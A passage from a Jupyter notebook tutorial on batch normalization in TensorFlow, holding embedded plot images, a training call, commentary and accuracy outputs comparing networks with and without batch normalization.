\njs1btGgR9957LwA9evSgQ4cObNnidC930UUX0bTp8XFhhgwZQqtWrQDo3LkzF198MQB9+/Y9KelU\np3p255B+UmV0QXEJf/xyI7dMW0rHZtFWz2BMJUrrHdauXUufPn0488wzWbJkybETrzciIiKOfQ4N\nDa2wfD0sLAyXy3Vs2pdn+GNiYhg5ciSLFi0iPz+fe+65h08++YS1a9dy1113VXmfVYn//PPPJy8v\njx9++MGrfZcWfZV3rJCQkGPTISEhfq2XqGfJ4dAJdw6b92dxzWuL+cc32xk7pB2zJp9NbKTVMxhT\nkREjRjB79myaNm1KaGgoTZs25ciRIyxZsqTc5NCoUSOysrIq3e8555zDZ599Rm5uLjk5OXz66aec\nc845JCQkkJaWRnp6OgUFBcyePbvK+y4uLubHH3+kc+fOxxJB8+bNyc7OPlZxXnZ/3bt3Z9++fSxb\ntgxw7rR8PRk//vjjJ9RLnHPOObz//vsAbNmyhd27d9O9e3ef9u0v9adYqSCbBsVOAziXS5n2/Q6e\nn7uZ2Kgw3rxlMBf2qlovrcbUV3379uXQoUOMGzfuhHnZ2dk0b978pPWTkpKYMmUKAwYMOFYhXZ5B\ngwYxYcIEhg4deqxCeuDAgQA88cQTDB06lDZt2tCjx/HubyZMmMCkSZNOWSH90EMP8eyzz1JYWMgF\nF1zAddddh4hw11130adPH1q2bHms2Ki8/X344Yfce++95OXlERUVxddff+3Tb3bZZZfRokWLY9P3\n3HMPd999N3379iUsLIzp06efcIcQFKoyMlBVX8AoYDOwFXi0nOU9gCVAAfBrb/bp80hwaZtVn4zV\n9CXv6th/LNEOj8zWO6Yv04NZ+b7tr5rV1tGlAi2YY1P1T3wbNmyolv1kZmZWy378wWLzTWls5f2N\nECwjwYlIKPAacBGwF1gmIrNUdYPHahnAfcA1/oqjlGamIMCDcw+yxtWc56/vxw2D21r9gjHGlMOf\nxUpDga2quh1ARGYAVwPHkoOqpgFpInK5H+MAYPH6HfTXSKKat+PLcefSvlm0vw9pjDG1ljh3G37Y\nschoYJQ6A/ogIuOBYap6UrtzEXkKyFbVctvUi8hEYCJAQkJC4owZM6ocT0GJ8vW2HC7tEk1ISPDV\nwwXKqGYAAA4aSURBVGdnZxMTExPoMMplsfnOH/HFxcXRpUuX097PqRrBBQOLzTelsW3dupWjR4+e\nsCwpKWmFVmGkzVpRIa2qrwOvAwwePFh97Z8kInRh0PZtsnChxeaLYI4N/BPfxo0bq2U8gWAel8Bi\n801pbJGRkccq833lz0voFMCzVUhb9zxjjDFBzp/JYRnQVUQ6iUg4MBaY5cfjGWOMqSZ+Sw6qWgxM\nBuYBG4GPVHW9iEwSkUkAItJSRPYCvwIeF5G9IhJ76r0aYwKpJrvs7tixI3379mXAgAH07duXzz//\nvNJt/vCHP1S6zoQJE05o+HYqIsKDDz54bPrFF1/kqaeeqnS7usKvNbOqOkdVu6lqZ1X9vXveVFWd\n6v68X1Xbqmqsqv5/e+cfXGV15vHPF4kExPDTzbKA/JhiKwhm2a7LqBTQnRacrdJ2cHRRUNvJdpZl\nYHXHyQ47jn/gDFp+jLE7unaELZhuqRi6CKXtUrCMK9SCBpAUhEAquAEkbKFdiBZ89o/3JN7cm+C9\nN3nvvSHPZ+ZO3nvuOef93vO+eZ97zvue7+kftrOzmHQcJ3Zybdm9bds2ampqWLduXYtz6+VIJzik\nS69evaiurub06dNZlc+35XZH6RI3pB3HaYfNFXBiX1ZFe1+6CFe1cQn40/EwY0mbZeK27G6Pc+fO\nMWDAgJb3M2fO5NixYzQ1NbFgwQLKy8upqKjgwoULlJWVMW7cOKqqqli9ejVLly5FEhMmTGDNmjUA\nbN++neXLl3PixAmeeeaZll5OIj179qS8vJwVK1bw1FNPtfqsvr6eRx55hNOnT3PdddexatUqrr/+\neh566CGKi4t55513uO222ygpKeHo0aMcOXKE999/nxUrVrBz5042b97M0KFDee211ygqKkzLnsJ7\nptNxnIIlTsvutpg2bRo33XQTU6ZMYfHixS3pK1euZPfu3ezatYvKykoaGxtZsmQJvXv3pqamhqqq\nKvbv38/ixYvZunUre/bs4dlnn20p39DQwBtvvMHGjRupqKho9/vOmzePqqqqlMdC58+fz9y5c9m7\ndy+zZ89uFdyOHz/Om2++yfLlywGoq6tj69atbNiwgQceeIBp06axb98+evfuzaZNmzJo/dziPQfH\n6cq08ws/HS4UmGX3sGHDUvJt27aNwYMHU1dXx5133snUqVPp27cvlZWVrF+/HoBjx45x6NAhBg0a\n1Krs1q1bmTVrVovfU6IN9syZM+nRowdjx47l5MmT7eosKSlhzpw5VFZWtvJt2rFjB9XV1QA8+OCD\nPP744y2fzZo1q9U8iBkzZlBUVMT48eO5dOkS06dPByI/qvr6+rTaKx94cHAcJyOSLbuHDx/OsmXL\nKCkp4eGHH06rjkwsryFax6C0tJTa2lrOnz/Pli1b2LFjB3369GHq1Kkdstz+rInACxcuZOLEiWl/\nt/Yst3v06EFRUVGLZU/cltsdxYeVHMfJiLgsuy/HqVOnOHr0KCNGjODs2bMMGDCAPn36cODAgVbr\nJBQVFbUMUd1xxx288sorNDZGa8efOXMmq30PHDiQe++9l5deeqkl7dZbb6XZqaGqqorJkydn+9UK\nFg8OjuNkRLNl96RJk1ql9evXr13L7traWsrKyli7dm1G+5o2bRplZWUttt+lpaVMnz6dixcvcuON\nN1JRUdFKR3l5ORMmTGD27NmMGzeORYsWMWXKFG6++WYeffTRrL/zY4891uqppeeee45Vq1a13ORO\nvJ9xxZCJhWshvLK27LbCtnd2bdlRyNrM3LI7W1xbdnSmZbf3HBzHcZwUPDg4juM4KXhwcJwuiMVk\nte90fTrr3PDg4DhdjOLiYhobGz1AOCmYGY2NjRQXF3e4Lp/n4DhdjGHDhnH8+HE+/PDDDtXT1NTU\nKReROHBt2dHU1ET//v3bnFCYKR4cHKeLUVRUxKhRozpcz+uvv97hBWHiwrVlR2dqi3VYSdJ0SQcl\nHZaUYmCiiMrw+V5JE+PU4ziO46RHbMFB0lXAvwIzgLHA/ZLGJmWbAYwJr3Lg+bj0OI7jOOkTZ8/h\nFuCwmR0xs4+BHwL3JOW5B1gd5mjsBPpLGhKjJsdxHCcN4rznMBQ4lvD+OPBXaeQZCjQkZpJUTtSz\nAPiDpINZahoMZLdyR/y4tuwoZG1Q2PpcW3Z0VW0jMqmoS9yQNrMXgRc7Wo+kXWb2xU6Q1Om4tuwo\nZG1Q2PpcW3Z0F21xDit9AAxPeD8spGWax3Ecx8kxcQaHXwNjJI2SdDVwH7AhKc8GYE54amkScNbM\nGpIrchzHcXJLbMNKZnZR0j8APwOuAlaa2X5J3w6fvwD8BLgLOAycB9JbTSN7Ojw0FSOuLTsKWRsU\ntj7Xlh3dQpt8Cr7jOI6TjHsrOY7jOCl4cHAcx3FS6DbB4bOsPHKw/+GStkmqlbRf0oKQ/qSkDyTV\nhNddCWX+Oeg9KOkrMeurl7QvaNgV0gZK+i9Jh8LfAbnWJunzCW1TI+mcpIX5ajdJKyWdkvRuQlrG\n7STpL0J7Hw4WMopJ23ckHQj2NOsl9Q/pIyVdSGi/F/KgLeNjmENtaxN01UuqCem5brf2rhvxn3OZ\nLBvXVV9EN8TrgNHA1cAeYGyONQwBJobta4H3iGxFngT+qY38Y4POXsCooP+qGPXVA4OT0p4BKsJ2\nBfB0PrQlHccTRJN58tJuwJeAicC7HWkn4C1gEiBgMzAjJm1fBnqG7acTtI1MzJdUT660ZXwMc6Ut\n6fNlwBN5arf2rhuxn3PdpeeQjpVHrJhZg5m9HbZ/D/yGaDZ4e9wD/NDMPjKzo0RPdN0Sv9IUDd8P\n298HZuZZ251AnZn99jJ5YtVmZtuBM23sM+12UmQRU2JmOy36r12dUKZTtZnZz83sYni7k2guUbvk\nUttlyHu7NRN+Xd8L/Mfl6ohRW3vXjdjPue4SHNqz6cgLkkYCfw78KiTND93+lQndw1xrNmCLpN2K\n7EoASu3TeScngNI8aWvmPlr/kxZCu0Hm7TQ0bOdSI8AjRL8YmxkVhkZ+KWlySMu1tkyOYT7abTJw\n0swOJaTlpd2Srhuxn3PdJTgUDJL6Aq8CC83sHJET7WigjMhTalmepN1uZmVETrnzJH0p8cPwayNv\nzz0rmkh5N/BKSCqUdmtFvtupPSQtAi4CVSGpAbg+HPNHgR9IKsmxrII8hkncT+sfJHlptzauGy3E\ndc51l+BQEDYdkoqIDnCVmVUDmNlJM7tkZp8A3+PTIZCcajazD8LfU8D6oONk6I42d5tP5UNbYAbw\ntpmdDDoLot0CmbbTB7Qe3olVo6SHgL8BZocLCWHYoTFs7yYam74hl9qyOIa5breewNeBtQmac95u\nbV03yME5112CQzpWHrESxi5fAn5jZssT0hMtyr8GND8xsQG4T1IvSaOI1rx4KyZt10i6tnmb6Cbm\nu0HD3JBtLvCfudaWQKtfcIXQbglk1E5hOOCcpEnhvJiTUKZTkTQdeBy428zOJ6Rfp2jNFSSNDtqO\n5FhbRscwl9oCfw0cMLOW4Zhct1t71w1ycc519G56V3kR2XS8RxTpF+Vh/7cTdf32AjXhdRewBtgX\n0jcAQxLKLAp6D9IJTz5cRttooicc9gD7m9sHGAT8AjgEbAEG5lpb2Nc1QCPQLyEtL+1GFKAagD8S\njdt+M5t2Ar5IdDGsA75LcCuIQdthojHo5nPuhZD3G+FY1wBvA1/Ng7aMj2GutIX0fwe+nZQ31+3W\n3nUj9nPO7TMcx3GcFLrLsJLjOI6TAR4cHMdxnBQ8ODiO4zgpeHBwHMdxUvDg4DiO46TgwcHp0kga\nlOCQeUKtXT6vTrOOVZI+/xl55kma3Tmq26z/65K+EFf9jpMp/iirc8Ug6UngD2a2NCldROf6J3kR\nlgaSXgbWmdmP863FccB7Ds4ViqTPKfLAryKatDRE0ouSdinyxX8iIe8bksok9ZT0O0lLJO2RtEPS\nn4Q8iyUtTMi/RNJbijzzbw3p10h6Nex3XdhXWRvavhPy7JX0dDBvuwtYEXo8IyWNkfQzRUaI2yXd\nEMq+LOn5kP6epBkhfbykX4fye8PsXcfJmp75FuA4MfIFYI6ZNS9eVGFmZ4JnzjZJ68ysNqlMP+CX\nZlYhaTmRk+mSNuqWmd0i6W7gCWA6MB84YWbfkHQz0Qza1oWkUqJAMM7MTFJ/M/udpJ+Q0HOQtA34\nlpnVSbqNaEbrl0M1w4G/JLJG2CLpc8DfA0vNbK2kXkSe/Y6TNR4cnCuZuubAELhf0jeJzvs/I1oY\nJTk4XDCzZlvr3USWzW1RnZBnZNi+nWhBHcxsj6T9bZQ7A3wCfE/SJmBjcgZFq7VNAl7Vp4t1Jf6v\n/igMkR2UdIwoSLwJ/IukEUC1mR1uR7fjpIUPKzlXMv/XvCFpDLAAuMPMJgA/BYrbKPNxwvYl2v8B\n9VEaeVIwsz8Sedz8mGixlU1tZBNw2szKEl43JVaTWq2tITKv+wj4qZIs1x0nUzw4ON2FEuD3RM6U\nQ4A41r3+b6JVw5A0nqhn0gpF7rclZrYR+EeixVsI2q4FMLP/BRokfS2U6RGGqZqZpYgbiIaYDkka\nbWaHzexZot7IhBi+n9ON8GElp7vwNtEQ0gHgt0QX8s7mOWC1pNqwr1rgbFKefkB1uC/Qg2jBGIic\nQf9N0mNEPYr7gOfDE1hXAy8TueZC5MO/C+gLlJvZx5L+VtL9RM6i/0O0PrPjZI0/yuo4nUS40d3T\nzJrCMNbPgTH26RrOnbEPf+TVyQnec3CczqMv8IsQJAT8XWcGBsfJJd5zcBzHcVLwG9KO4zhOCh4c\nHMdxnBQ8ODiO4zgpeHBwHMdxUvDg4DiO46Tw/2WyspPPUXhnAAAAAElFTkSuQmCC\n", "text/plain": [ "<matplotlib.figure.Figure at 0x11ce1eef0>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "train_and_test(False, 0.01, tf.nn.relu, 2000, 50)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "As you can see, using batch normalization produces a model with over 95% accuracy in only 2000 batches, and it was above 90% at somewhere around 500 batches. Without batch normalization, the model takes 1750 iterations just to hit 80% – the network with batch normalization hits that mark after around 200 iterations! (Note: if you run the code yourself, you'll see slightly different results each time because the starting weights - while the same for each model - are different for each run.)\n", "\n", "In the above example, you should also notice that the networks trained fewer batches per second then what you saw in the previous example. That's because much of the time we're tracking is actually spent periodically performing inference to collect data for the plots. In this example we perform that inference every 50 batches instead of every 500, so generating the plot for this example requires 10 times the overhead for the same 2000 iterations." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "**The following creates two networks using a sigmoid activation function, a learning rate of 0.01, and reasonable starting weights.**" ] }, { "cell_type": "code", "execution_count": 6, "metadata": {}, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ "100%|██████████| 50000/50000 [01:27<00:00, 571.60it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "Without Batch Norm: After training, final accuracy on validation set = 0.8217999935150146\n" ] }, { "name": "stderr", "output_type": "stream", "text": [ "100%|██████████| 50000/50000 [04:29<00:00, 185.53it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "With Batch Norm: After training, final accuracy on validation set = 0.9742000102996826\n", "---------------------------------------------------------------------------\n", "Without Batch Norm: Accuracy on full test set = 0.8223000168800354\n", "---------------------------------------------------------------------------\n", "With Batch Norm: Accuracy on full test set = 0.9745000004768372\n" ] }, { "data": { "image/png": "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